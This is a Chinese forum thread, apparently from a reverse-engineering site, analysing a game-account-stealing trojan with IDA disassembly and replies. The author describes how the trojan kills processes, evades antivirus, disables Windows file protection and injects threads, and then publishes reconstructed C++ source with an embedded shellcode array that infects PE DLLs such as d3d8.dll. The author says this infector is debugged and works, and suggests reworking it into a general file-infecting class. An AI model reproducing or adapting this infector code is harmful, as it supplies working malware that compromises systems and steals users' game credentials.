bianfeng 发表于 2010-6-16 18:05:26

一个木马的简单分析(附感染部分逆出来的源码,经过调试完全正确)

本帖最后由 bianfeng 于 2010-6-17 17:41 编辑

【文章标题】: 某个下载器的简单分析
【文章作者】:  bianfeng
【作者邮箱】: 99373089@qq.com
【作者QQ号】: 99373089
【使用工具】: OD1.1 + IDA5.5,VS 2008
【操作平台】: XP-SP3
主要行为:
1.结束游戏进程
2.感染d3d8.dll文件
3.调用sfc_os.dll的5号功能关闭文件保护,并替换掉原始文件
4.创建批处理删除自我

现在的游戏都依赖DX9.0文件(如dsound.dll,d3d9.dll,d3d8.dll等),通过感染d3d8.dll加载释放的文件mfcXXX.log到游戏进程中,搜索游戏的特征码达到盗号的目的
下面看看主函数


我相信经常逆向木马的朋友应该不会对此函数感到陌生吧UPX0:004021D6
UPX0:004021D6                 public start
UPX0:004021D6 start           proc near               ; CODE XREF: UPX1:0040EA13j
UPX0:004021D6
UPX0:004021D6 var_C           = dword ptr -0Ch
UPX0:004021D6
UPX0:004021D6                 push    esi
UPX0:004021D7                 push    edi
UPX0:004021D8                 mov     edi, 104h
UPX0:004021DD                 push    edi             ; Size
UPX0:004021DE                 call    malloc
UPX0:004021E4                 mov     esi, eax
UPX0:004021E6                 push    edi             ; Size
UPX0:004021E7                 push    0               ; Val
UPX0:004021E9                 push    esi             ; Dst
UPX0:004021EA                 call    memset
UPX0:004021EF                 call    KillGameProcess ; 结束游戏进程
UPX0:004021F4                 push    esi             ; lpTempFileName
UPX0:004021F5                 call    sub_40201B      ; 关键call
UPX0:004021FA                 add     esp, 14h
UPX0:004021FD                 push    esi             ; lpFileName
UPX0:004021FE                 call    DeleteFileA     ; 删除释放的临时文件
UPX0:00402204                 push    esi             ; Memory
UPX0:00402205                 call    free
UPX0:0040220B                 mov     , offset dword_405394
UPX0:00402212                 call    DeleteSelf      ; 创建批处理删除自我
UPX0:00402212 start           endp
下面进入关键call    sub_40201B 分析



生成随机文件名,并在临时目录释放文件
再把自身的附加数据添加到释放的临时文件中 1.临时目录生成MFCXXXX的临时文件
UPX0:00402055                 push    71h             ; 资源ID
UPX0:00402057                 stosw
UPX0:00402059                 push    offset hResData ; 资源类型
UPX0:0040205E                 push    esi             ; lpFileName
UPX0:0040205F                 stosb
UPX0:00402060                 mov     , 'K'
UPX0:00402064                 mov     , 'e'
UPX0:00402068                 mov     , 'r'
UPX0:0040206C                 mov     , 'n'
UPX0:00402070                 mov     , 'e'
UPX0:00402074                 mov     , 'l'
UPX0:00402078                 mov     , '3'
UPX0:0040207C                 mov     , '2'
UPX0:00402080                 mov     , '.'
UPX0:00402084                 mov     , 'd'
UPX0:00402088                 mov     , 'l'
UPX0:0040208C                 mov     , 'l'
UPX0:00402090                 mov     , bl
UPX0:00402093                 mov     , 'C'
UPX0:00402097                 mov     , 'o'
UPX0:0040209B                 mov     , 'p'
UPX0:0040209F                 mov     , 'y'
UPX0:004020A3                 mov     , 'F'
UPX0:004020A7                 mov     , 'i'
UPX0:004020AB                 mov     , 'l'
UPX0:004020AF                 mov     , 'e'
UPX0:004020B3                 mov     , 'A'
UPX0:004020B7                 mov     , bl
UPX0:004020BA                 call    ReleaseTempFile ; 临时目录释放前缀为mfcXXX的文件
UPX0:004020BF                 add     esp, 0Ch
UPX0:004020C2                 test    eax, eax        ; 释放文件失败返回FALSE,成功则为TRUE
UPX0:004020C4                 jz      short loc_4020CD ; 释放文件失败跳跳走
UPX0:004020C6 2.自身的附加数据添加到临时文件中
UPX0:004020C6                 push    esi             ; 释放的临时文件名
UPX0:004020C7                 call    AddAppendData   ; 自身的附加数据写入到释放的临时文件
UPX0:004020CC                 pop     ecx
复制临时扩展名为MFCXXXX.log(dll文件)文件到System目录中 临时文件复制到system目录
UPX0:004021A0                 lea     eax,
UPX0:004021A6                 push    ebx             ; FailIfExists = FALSE
UPX0:004021A7                 push    eax             ; NewFileNam
UPX0:004021A8                 push    ; ExistingFileName
UPX0:004021AB                 call    ; 临时文件复制到system目录
InfectionFile 部分可以到IDA里面自己看太长了这里就不分析了,后面会有C++源码放出来UPX0:004021B0                 jz      short Ret       ; 复制文件失败跳走
UPX0:004021B2                 lea     eax,
UPX0:004021B8                 mov     esi, offset aD3d8_dll ; "d3d8.dll"
UPX0:004021BD                 push    eax
UPX0:004021BE                 push    esi
UPX0:004021BF                 call    InfectionFile   ; 感染文件
UPX0:004021C4                 pop     ecx
UPX0:004021C5                 test    al, al
UPX0:004021C7                 pop     ecx
UPX0:004021C8                 jz      short Ret       ; 感染失败跳走
UPX0:004021CA                 push    esi
UPX0:004021CB                 call    ReplaceFile     ;  感染的d3d8.dll文件替换掉正常的d3d8.dll文件
UPX0:004021D0                 pop     ecx
进入ReplaceFile看看
首先通过建立进程快照是否有RavMonD.exe、360tray.exe进程存在。
如果存在则把建立远程线程把代码注入到conime.exe、ctfmon.exe、Explorer.exe、Iexplorer.exe其中的一个进程中调用sfc_os.dll的5号功能来关闭文件保护
如果不存在则直接调用sfc_os.dll的5号功能来关闭文件保护。UPX0:00402F1D                 mov     , bl
UPX0:00402F20                 call    GetProcessId    ; 360tray.exe
UPX0:00402F25                 mov     esi, eax
UPX0:00402F27                 lea     eax,
UPX0:00402F2A                 push    eax
UPX0:00402F2B                 call    GetProcessId    ; RavMonD.exe
UPX0:00402F30                 pop     ecx
UPX0:00402F31                 cmp     esi, ebx
UPX0:00402F33                 pop     ecx
UPX0:00402F34                 jnz     short loc_402F48 ; 360tray.exe进程存在跳走
UPX0:00402F34                                         ; 有安全软件存在就跳走,并在其他进程中建立远程线程,来关闭文件保护
UPX0:00402F36                 cmp     eax, ebx
UPX0:00402F38                 jnz     short loc_402F48 ; RavMonD.exe进程存在跳走
UPX0:00402F3A                 push    ; lpszDllFileName
UPX0:00402F3D                 call    FileProtect     ; 去除文件保护
UPX0:00402F42                 pop     ecx
UPX0:00402F43                 jmp     loc_403040
UPX0:00402F48 ; ---------------------------------------------------------------------------
UPX0:00402F48
UPX0:00402F48 loc_402F48:                             ; CODE XREF: CloseFileProtect+80j
UPX0:00402F48                                         ; CloseFileProtect+84j
UPX0:00402F48                 lea     eax,
UPX0:00402F4B                 mov     , 'c'
UPX0:00402F4F                 push    eax             ; lpszZhengtu_dat
UPX0:00402F50                 mov     , 'o'
UPX0:00402F54                 mov     , 'n'
UPX0:00402F58                 mov     , 'i'
UPX0:00402F5C                 mov     , 'm'
UPX0:00402F60                 mov     , 'e'
UPX0:00402F64                 mov     , '.'
UPX0:00402F68                 mov     , 'e'
UPX0:00402F6C                 mov     , 'x'
UPX0:00402F70                 mov     , 'e'
UPX0:00402F74                 mov     , bl
UPX0:00402F77                 mov     , 'c'
UPX0:00402F7B                 mov     , 't'
UPX0:00402F7F                 mov     , 'f'
UPX0:00402F83                 mov     , 'm'
UPX0:00402F87                 mov     , 'o'
UPX0:00402F8B                 mov     , 'n'
UPX0:00402F8F                 mov     , '.'
UPX0:00402F93                 mov     , 'e'
UPX0:00402F97                 mov     , 'x'
UPX0:00402F9B                 mov     , 'e'
UPX0:00402F9F                 mov     , bl
UPX0:00402FA2                 mov     , 'e'
UPX0:00402FA6                 mov     , 'x'
UPX0:00402FAA                 mov     , 'p'
UPX0:00402FAE                 mov     , 'l'
UPX0:00402FB2                 mov     , 'o'
UPX0:00402FB6                 mov     , 'r'
UPX0:00402FBA                 mov     , 'e'
UPX0:00402FBE                 mov     , 'r'
UPX0:00402FC2                 mov     , '.'
UPX0:00402FC6                 mov     , 'e'
UPX0:00402FCA                 mov     , 'x'
UPX0:00402FCE                 mov     , 'e'
UPX0:00402FD2                 mov     , bl
UPX0:00402FD5                 mov     , 'I'
UPX0:00402FD9                 mov     , 'E'
UPX0:00402FDD                 mov     , 'X'
UPX0:00402FE1                 mov     , 'P'
UPX0:00402FE5                 mov     , 'L'
UPX0:00402FE9                 mov     , 'O'
UPX0:00402FED                 mov     , 'R'
UPX0:00402FF1                 mov     , 'E'
UPX0:00402FF5                 mov     , 'R'
UPX0:00402FF9                 mov     , '.'
UPX0:00402FFD                 mov     , 'E'
UPX0:00403001                 mov     , 'X'
UPX0:00403005                 mov     , 'E'
UPX0:00403009                 mov     , bl
UPX0:0040300C                 call    GetProcessId    ; Conime.exe
UPX0:00403011                 cmp     eax, ebx
UPX0:00403013                 pop     ecx
UPX0:00403014                 jnz     short RemoteThread ; 进程存在跳走,建立远程线程
UPX0:00403016                 lea     eax,
UPX0:00403019                 push    eax
UPX0:0040301A                 call    GetProcessId    ; IEXPLORER.EXE
UPX0:0040301F                 cmp     eax, ebx
UPX0:00403021                 pop     ecx
UPX0:00403022                 jnz     short RemoteThread ;  进程存在跳走,建立远程线程
UPX0:00403024                 lea     eax,
UPX0:00403027                 push    eax
UPX0:00403028                 call    GetProcessId    ; ctfmon.exe
UPX0:0040302D                 cmp     eax, ebx
UPX0:0040302F                 pop     ecx
UPX0:00403030                 jnz     short RemoteThread ;  进程存在跳走,建立远程线程
UPX0:00403032                 lea     eax,
UPX0:00403035                 push    eax
UPX0:00403036                 call    GetProcessId    ; exolorer.exe
UPX0:0040303B                 cmp     eax, ebx
UPX0:0040303D                 pop     ecx
UPX0:0040303E                 jnz     short RemoteThread ;  进程存在跳走,建立远程线程
UPX0:00403040
UPX0:00403040 loc_403040:                             ; CODE XREF: CloseFileProtect+8Fj
UPX0:00403040                 mov     al, 1
UPX0:00403042                 jmp     short loc_40305C
UPX0:00403044 ; ---------------------------------------------------------------------------
UPX0:00403044
UPX0:00403044 RemoteThread:                           ; CODE XREF: CloseFileProtect+160j
UPX0:00403044                                         ; CloseFileProtect+16Ej ...
UPX0:00403044                 push         ; int
UPX0:00403047                 push   
UPX0:0040304A                 push   
UPX0:0040304D                 push    eax             ; dwProcessId
UPX0:0040304E                 call    sub_402B0B      ; 其他进程中建立远程线程,来关闭文件保护
UPX0:00403053                 add     esp, 10h
UPX0:00403056                 neg     al
里面的就不发了
下面附上逆出来的感染部分源码// Example.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "Example.h"

//下面代码是从OD里面提取出来的
unsigned char Code[] = {   0x83, 0x7C, 0x24, 0x08, 0x01, 0x75, 0x0C, 0x60, 0x90, 0x9C, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x9D, 0x54, 0x5C, 0x61, 0x33, 0xD2, 0x85, 0xD2, 0x90, 0x0F, 0x84, 0x17, 0x01, 0x00,
0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x38, 0x53, 0x33, 0xC0, 0x56, 0x57, 0xC7, 0x45, 0xD8, 0x47, 0x65, 0x74, 0x50, 0xC7, 0x45, 0xDC, 0x72, 0x6F, 0x63, 0x41, 0xC7, 0x45, 0xE0, 0x64, 0x64, 0x72,
0x65, 0xC7, 0x45, 0xE4, 0x73, 0x73, 0x00, 0x00, 0x89, 0x45, 0xFC, 0x89, 0x45, 0xF8, 0x60, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08,
0x89, 0x45, 0xFC, 0x8B, 0xD0, 0x8B, 0x42, 0x3C, 0x8D, 0x44, 0x10, 0x78, 0x8B, 0x00, 0x8B, 0x4C, 0x02, 0x18, 0x8B, 0x5C, 0x02, 0x20, 0x03, 0xDA, 0x49, 0x90, 0x85, 0xC9, 0x90, 0x74, 0x39, 0x8D,
0xBD, 0xD8, 0xFF, 0xFF, 0xFF, 0x8B, 0x34, 0x8B, 0x03, 0xF2, 0x51, 0x50, 0xB8, 0x09, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x06, 0x8B, 0xC8, 0x58, 0xF3, 0xA6, 0x85, 0xC9, 0x59, 0x75, 0xDA, 0x8B, 0x74,
0x02, 0x24, 0x03, 0xF2, 0x0F, 0xB7, 0x34, 0x4E, 0x8B, 0x7C, 0x02, 0x1C, 0x03, 0xFA, 0x8B, 0x3C, 0xB7, 0x03, 0xFA, 0x89, 0x7D, 0xF8, 0xEB, 0x07, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x61,
0x8B, 0x4D, 0xFC, 0x33, 0xFF, 0x3B, 0xCF, 0x74, 0x66, 0x8B, 0x45, 0xF8, 0x3B, 0xC7, 0x74, 0x5F, 0x8D, 0x55, 0xE8, 0x52, 0x51, 0xC6, 0x45, 0xE8, 0x4C, 0xC6, 0x45, 0xE9, 0x6F, 0xC6, 0x45, 0xEA,
0x61, 0xC6, 0x45, 0xEB, 0x64, 0xC6, 0x45, 0xEC, 0x4C, 0xC6, 0x45, 0xED, 0x69, 0xC6, 0x45, 0xEE, 0x62, 0xC6, 0x45, 0xEF, 0x72, 0xC6, 0x45, 0xF0, 0x61, 0xC6, 0x45, 0xF1, 0x72, 0xC6, 0x45, 0xF2,
0x79, 0xC6, 0x45, 0xF3, 0x41, 0x89, 0x7D, 0xF4, 0xFF, 0xD0, 0x54, 0x5C, 0x3B, 0xC7, 0x74, 0x1F, 0x8B, 0xF8, 0xE8, 0x01, 0x00, 0x00, 0x00, 0x90, 0x5B, 0x8D, 0x73, 0x50, 0x8A, 0x0E, 0x84, 0xC9,
0x74, 0x0D, 0x8D, 0x56, 0x06, 0x52, 0xFF, 0xD7, 0x90, 0x83, 0xC6, 0x11, 0x90, 0xEB, 0xED, 0x5F, 0x5E, 0x90, 0x5B, 0x90, 0x8B, 0xE5, 0x5D, 0xC3, 0x90, 0x90, 0xE8, 0x10, 0x00, 0x00, 0x00, 0x33,
0xD2, 0x52, 0x5A, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x59, 0x8B, 0x59, 0x21, 0x03, 0xCB, 0x83, 0xC1, 0x04, 0x8B, 0xD1, 0x52, 0x90, 0xC3, 0x90, 0x90, 0x90,
0xC2, 0x08, 0xF0, 0xFF, 0x90, 0x00, 0x00};


class UnknowClass
{
public:
        PVOID lpFile;                                                                                // 原始文件
        DWORD dwSizeOfFile;                                                                        // 文件大小
        PIMAGE_DOS_HEADER lpDosHeader;                                                // 指向Dos头
        PVOID lpDosStub;                                                                        // 指向Dos Stub
        DWORD dwSizeOfDosStub;                                                                // Dos Stub大小
        DWORD dwSizeOfDosHeader;                                                        // DOS头大小
        PIMAGE_NT_HEADERS32 lpNTHeaders;                                        // 指向PE头
        PIMAGE_SECTION_HEADER lpSectionHeaders;                        // 节表头数组
        PVOID lpSectionRawData;                                                        // 节区数
public:
        UnknowClass();
        BOOL CopyFileToMemory(LPSTR lpszFileName);
        DWORD Alignment(DWORD dwSize, DWORD dwAlign);
        BOOL IsInfection(LPCSTR lpszSectionName, LPCSTR lpszDllFile);
        void  CorrectPEHeaders(LPCSTR lpszNewSectionName, DWORD dwSizeOfCode, LPCSTR lpszLibName);
        int WriteInfectionCode(LPCSTR lpFileName);
};

int  UnknowClass::WriteInfectionCode(LPCSTR lpFileName)
{       
        DWORD NumberOfBytesWritten;
        int dwNumberOfSections;
        DWORD dwSectionsOffset;
        int dwCount;
        HANDLE hFile;
       

       
        NumberOfBytesWritten = 0;

        hFile = CreateFileA(lpFileName, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE , NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); //判断是否存在
        if ( hFile == INVALID_HANDLE_VALUE )
        {
                hFile = CreateFileA(lpFileName, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
                if ( hFile == INVALID_HANDLE_VALUE )
                {          
                  return -1;
                }
        }
//        sub_4022A5((int)this1);
       

        //计算出添加节以后的文件大小.    最后的PointerToRawData + SizeOfRawData = 文件大小
        this->dwSizeOfFile = this->lpSectionHeaders->PointerToRawData +
                this->lpSectionHeaders->SizeOfRawData;
        this->lpFile = GlobalAlloc(GPTR, this->dwSizeOfFile);
       
        if ( !this->lpFile)
        {
                CloseHandle(hFile);               
                return -1;
        }

        //复制DOS头
        memcpy(this->lpFile, (const void *)this->lpDosHeader, sizeof(IMAGE_DOS_HEADER));
        ////复制DOS Stub
        if ( !(this->dwSizeOfDosStub & 0x80000000) )
                memcpy((void *)((LPSTR)this->lpFile + this->dwSizeOfDosHeader), (const void *)this->lpDosStub, this->dwSizeOfDosStub);

        //复制NT头
        memcpy((void *)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew), (const void *)this->lpNTHeaders, sizeof(IMAGE_NT_HEADERS));
       

        //复制节表头
        dwNumberOfSections = this->lpNTHeaders->FileHeader.NumberOfSections;
        if ( dwNumberOfSections )
        {
                dwSectionsOffset = 0;
               
                dwCount = 0;
                do
                {
                        memcpy((void *)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + dwSectionsOffset),
                                (const void *)this->lpSectionHeaders,
                                sizeof(IMAGE_SECTION_HEADER));

                        dwSectionsOffset += sizeof(IMAGE_SECTION_HEADER);       
                        dwCount++;
                }while ( dwCount < dwNumberOfSections );
               
                //复制节区数据
                if ( dwNumberOfSections )
                {                       
                        dwCount = 0;
                        PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER )((LPSTR)this->lpFile +this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
                        do
                        {
                                memcpy(
                                        (void *)((LPSTR)this->lpFile + pSectionHeader->PointerToRawData),
                                        (const void *)this->lpSectionRawData,
                                        this->lpSectionHeaders->SizeOfRawData);
                               
                                pSectionHeader = (PIMAGE_SECTION_HEADER)((LPSTR)pSectionHeader + sizeof(IMAGE_SECTION_HEADER));
                                dwCount++;
                        }while (dwCount < dwNumberOfSections);
                }
        }
       
        SetFilePointer(hFile, NULL, NULL, FILE_BEGIN);
        WriteFile(hFile, (LPCVOID)this->lpFile, this->dwSizeOfFile, &NumberOfBytesWritten, 0);//写入文件
        SetFilePointer(hFile, this->dwSizeOfFile, NULL, FILE_BEGIN);
        SetEndOfFile(hFile);
        CloseHandle(hFile);
        return (int)GlobalFree((HGLOBAL)this->lpFile);
}

void  UnknowClass::CorrectPEHeaders(LPCSTR lpszNewSectionName, DWORD dwSizeOfCode, LPCSTR lpszLibName)
{
        DWORD dwSizeOfRawData;
        DWORD dwPointerToRawData;
        DWORD dwVirtualAddress;
        DWORD dwVirtualSize;
        int nOldAddressOfEntryPoint;
//        DWORD dwNewAddressOfEntryPoint;

        //算出原始数据大小和原始指针
        dwSizeOfRawData = Alignment(dwSizeOfCode, this->lpNTHeaders->OptionalHeader.FileAlignment);
        dwPointerToRawData = Alignment(this->lpSectionHeaders->PointerToRawData +
                this->lpSectionHeaders->SizeOfRawData,
                this->lpNTHeaders->OptionalHeader.FileAlignment);

        //算出相对虚拟地址与虚拟大小
        dwVirtualAddress = Alignment(this->lpSectionHeaders->VirtualAddress +
                this->lpSectionHeaders->Misc.VirtualSize,
                this->lpNTHeaders->OptionalHeader.SectionAlignment);
        dwVirtualSize = Alignment(dwSizeOfRawData,this->lpNTHeaders->OptionalHeader.SectionAlignment);

        //修正节表
        memset(this->lpSectionHeaders, 0, sizeof(IMAGE_SECTION_HEADER));
        this->lpSectionHeaders->VirtualAddress = dwVirtualAddress;
        this->lpSectionHeaders->Misc.VirtualSize = dwVirtualSize;
        this->lpSectionHeaders->PointerToRawData = dwPointerToRawData;
        this->lpSectionHeaders->SizeOfRawData = dwSizeOfRawData;
        this->lpSectionHeaders->Characteristics = IMAGE_SCN_MEM_EXECUTE |
                IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_CNT_INITIALIZED_DATA;
        memcpy(this->lpSectionHeaders->Name, lpszNewSectionName, strlen(lpszNewSectionName));

        //修正NT头
        lpSectionRawData = ::GlobalAlloc(GPTR, dwSizeOfRawData);
        lpNTHeaders->FileHeader.NumberOfSections++;
        nOldAddressOfEntryPoint = lpNTHeaders->OptionalHeader.AddressOfEntryPoint;
        nOldAddressOfEntryPoint -= dwVirtualAddress;
        nOldAddressOfEntryPoint -= 0x140;
        lpNTHeaders->OptionalHeader.AddressOfEntryPoint = dwVirtualAddress;
        lpNTHeaders->OptionalHeader.SizeOfImage += dwVirtualSize;
        lpNTHeaders->OptionalHeader.SizeOfCode += dwSizeOfRawData;
        lpNTHeaders->OptionalHeader.SizeOfHeaders += dwSizeOfRawData;
       
        // 抹掉Load Config Table
        lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
        lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;
        //抹掉Bound Import
        lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
        lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;
        //抹掉IAT
        lpNTHeaders->OptionalHeader.DataDirectory.VirtualAddress = 0;
        lpNTHeaders->OptionalHeader.DataDirectory.Size = 0;

        //复制感染的代码到内存中,并写入感染标记和加载的库名
        memcpy(lpSectionRawData, Code, sizeof(Code));
        *(PDWORD)((LPSTR)lpSectionRawData + 0x15D) =  nOldAddressOfEntryPoint;
        *((LPSTR)lpSectionRawData + 0x164) =  0x1;
        *((LPSTR)lpSectionRawData + 0x165) =  0x70;
        memcpy((LPSTR)lpSectionRawData + 0x166 , "ZT", 4); //感染标记
        memcpy((void *)((LPSTR)lpSectionRawData + 0x16A), (const void *)lpszLibName, strlen(lpszLibName));
        //strcpy((LPSTR)((LPSTR)lpSectionRawData + 0x16A),lpszLibName); //加载的库名

        return;
}
DWORD UnknowClass::Alignment(DWORD dwSize, DWORD dwAlign)
{
         return dwAlign * ((dwSize + dwAlign - 1) / dwAlign);
}
UnknowClass::UnknowClass()  //构造函数
{
        int i = 0;
        this->dwSizeOfDosStub = NULL;
        this->lpDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
        this->lpNTHeaders = (PIMAGE_NT_HEADERS32)malloc(sizeof(IMAGE_NT_HEADERS32));

        do
        {
                lpSectionHeaders = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER));
                i++;
        }while(i < 20);
}
BOOL UnknowClass::IsInfection(LPCSTR lpszSectionName, LPCSTR lpszDllFile)
{
//        char SectionRawData;
//        int dwNumberOfSections;
        if(this->lpNTHeaders->FileHeader.NumberOfSections > 0)
        {
                int Count;
                for(Count = 0; Count < this->lpNTHeaders->FileHeader.NumberOfSections; Count++)
                {
                        if(!::_strcmpi((LPSTR)this->lpSectionHeaders->Name,lpszSectionName))  //有节表名相同停止循环
                        {
                                //比较感染标记
                                return TRUE;
                        }
                                //break;
                }
                //if(Count < this->lpPEHeaders->FileHeader.NumberOfSections)
                //{
                //        if(*((PDWORD)this->lpSectionRawData + 0x165) < 0x70) //比较感染标记
                //        {
                //                RtlZeroMemory(SectionRawData, sizeof(SectionRawData));
                //                memcpy(SectionRawData, this->lpSectionRawData, 0x163);
                //                memcpy(this->lpSectionRawData, Code, sizeof(Code));
                //        }
                //        if(*((PDWORD)this->lpSectionRawData + 0x164) <= 0)
                //        {

                //        }
                //}
        }
        return FALSE;
}

BOOL UnknowClass::CopyFileToMemory(LPSTR lpszFileName)
{
        SIZE_T dwAlign;        
        DWORD NumberOfBytesRead = 0;
        int NumberOfSections;
        HANDLE hFile;
        int dwSectionOffset;        
       

        //打开文件
        hFile = CreateFileA(lpszFileName,
                GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_READ,
                NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);       
        if ( hFile == INVALID_HANDLE_VALUE )       
                return FALSE;       
       

        //获取文件大小并分配文件大小的空间
        this->dwSizeOfFile = GetFileSize(hFile, NULL);
        if ( !this->dwSizeOfFile )
        {
                CloseHandle(hFile);       
                return FALSE;
        }

        this->lpFile = (PVOID)GlobalAlloc(GPTR, this->dwSizeOfFile);       
        if ( !this->lpFile )
        {
                CloseHandle(hFile);       
                return FALSE;
        }

        //读取文件到内存中
        ReadFile(hFile, this->lpFile, this->dwSizeOfFile, &NumberOfBytesRead, NULL);
        CloseHandle(hFile);       

        this->dwSizeOfDosHeader = sizeof(IMAGE_DOS_HEADER);   //DOS头大小
        //复制DOS头
        memcpy((PVOID)this->lpDosHeader, this->lpFile, sizeof(IMAGE_DOS_HEADER));       
        this->dwSizeOfDosStub = this->lpDosHeader->e_lfanew - sizeof(IMAGE_DOS_HEADER);         //计算出Dos Stub大小


        //复制Dos Stub
        this->lpDosStub = malloc(this->dwSizeOfDosStub);       
        if ( !(this->dwSizeOfDosStub & 0x80000000) )
                memcpy(this->lpDosStub, (PVOID)((LPSTR)this->lpFile + sizeof(IMAGE_DOS_HEADER)), this->dwSizeOfDosStub);
       
        //复制PE头
        memcpy((PVOID)this->lpNTHeaders, (PVOID)((LPSTR)this->lpFile + this->lpDosHeader->e_lfanew), sizeof(IMAGE_NT_HEADERS32));
       
       

       
        if ((this->lpDosHeader->e_magic == 0x5A4D) && (this->lpNTHeaders->Signature == 0x4550))
        {
                NumberOfSections = this->lpNTHeaders->FileHeader.NumberOfSections;
       
                if ( NumberOfSections )
                {
                  dwSectionOffset = 0;                 
                  int j = 0;
                  //复制所有节表到内存中
                  do
                  {
                          memcpy((PVOID)this->lpSectionHeaders,
                                (PVOID)(this->lpDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS32) + (LPSTR)this->lpFile + dwSectionOffset),
                                sizeof(IMAGE_SECTION_HEADER));

                        dwSectionOffset += sizeof(IMAGE_SECTION_HEADER);

                        j++;
                  }while (j < NumberOfSections);
                       
                  //复制节区到内存中
                  if ( NumberOfSections )
                  {                       
                        int k = 0;
                        do
                        {
                                dwAlign = this->Alignment(this->lpSectionHeaders->SizeOfRawData,
                                        this->lpNTHeaders->OptionalHeader.FileAlignment);       

                                this->lpSectionRawData = GlobalAlloc(GPTR, dwAlign);

                                memcpy(this->lpSectionRawData, (PVOID)((LPSTR)this->lpFile + this->lpSectionHeaders->PointerToRawData),
                                        this->lpSectionHeaders->SizeOfRawData);       

                                k++;
                        }
                        while ( k < NumberOfSections);
                  }
                }
        }
        else
        {
           return FALSE;
        }
        GlobalFree(this->lpFile);
        return TRUE;
}

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
        int i = 200%100;
        UnknowClass a;
                //文件复制到内存
        a.CopyFileToMemory("D:\\SystemDirectory\\桌面\\httpapi.dll");     //要感染的dll文件
           //比较感染标记和节区名判断文件是否感染
        a.IsInfection("aaa",    //新节表名
                            "d3d9.dll");    //要加载的库名
        a.CorrectPEHeaders("aaa",512,  //新节表名
                             "d3d9.dll");  //要加载的库名
        a.WriteInfectionCode("D:\\SystemDirectory\\桌面\\httpapi.dll" // //要感染写入代码的dll文件

                             );  

        return 0;
}

bianfeng 发表于 2010-6-16 18:38:30

好热回家了,如果有错或不对的地方明天再来更改

nevsayno 发表于 2010-6-16 22:32:36

...打我PG我不乖...


用黑镜头看了下,比较有意思

Fox_Creek 发表于 2010-6-17 03:18:35

牛人,膜拜下

hw233 发表于 2010-6-17 13:06:29

强人啊...{:3_81:}

riusksk 发表于 2010-6-17 15:10:37

楼主直接带壳调试?

bianfeng 发表于 2010-6-17 17:35:58

楼主直接带壳调试?
riusksk 发表于 2010-6-17 15:10 http://www.unpack.cn/images/common/back.gif


    upx壳..所以脱了

神度一 发表于 2010-6-18 11:06:41

不错

m66 发表于 2010-6-20 20:40:42

万般膜拜+崇拜!

wangmin1944 发表于 2010-6-21 18:44:03

不错,学习了

john 发表于 2010-6-22 10:31:56

标题:一个木马的简单分析(附感染部分逆出来的源码,经过调试完全正确)
链接:http://www.unpack.cn/thread-51257-1-1.html
贴者:bianfeng
日期: 2010-6-22 10:29

鹭影依凌 发表于 2010-6-25 09:54:08

upx最好用skylly的脱壳机来脱.脱出来的东西比较干净
成员变量一般设置为private
成员变量一般命名为m_xxxx

bianfeng 发表于 2010-6-25 10:12:44

upx最好用skylly的脱壳机来脱.脱出来的东西比较干净
成员变量一般设置为private
成员变量一般命名为m_xxx ...
鹭影依凌 发表于 2010-6-25 09:54 http://www.unpack.cn/images/common/back.gif

大半年没有写代码了,忘了,谢谢提醒!!
其他功能希望大家自己完成吧,由于保持了原汗原味,没作太多更改,此类的灵活性不好,可以改成一个非常好的类用来感染文件。
还有析构函数忘了写,没有释放内存。

Mylsl 发表于 2010-6-28 14:40:41

学习了,谢谢楼主分享

ldljlzw 发表于 2010-7-9 13:52:04

谢谢楼主了!
页: [1] 2
查看完整版本: 一个木马的简单分析(附感染部分逆出来的源码,经过调试完全正确)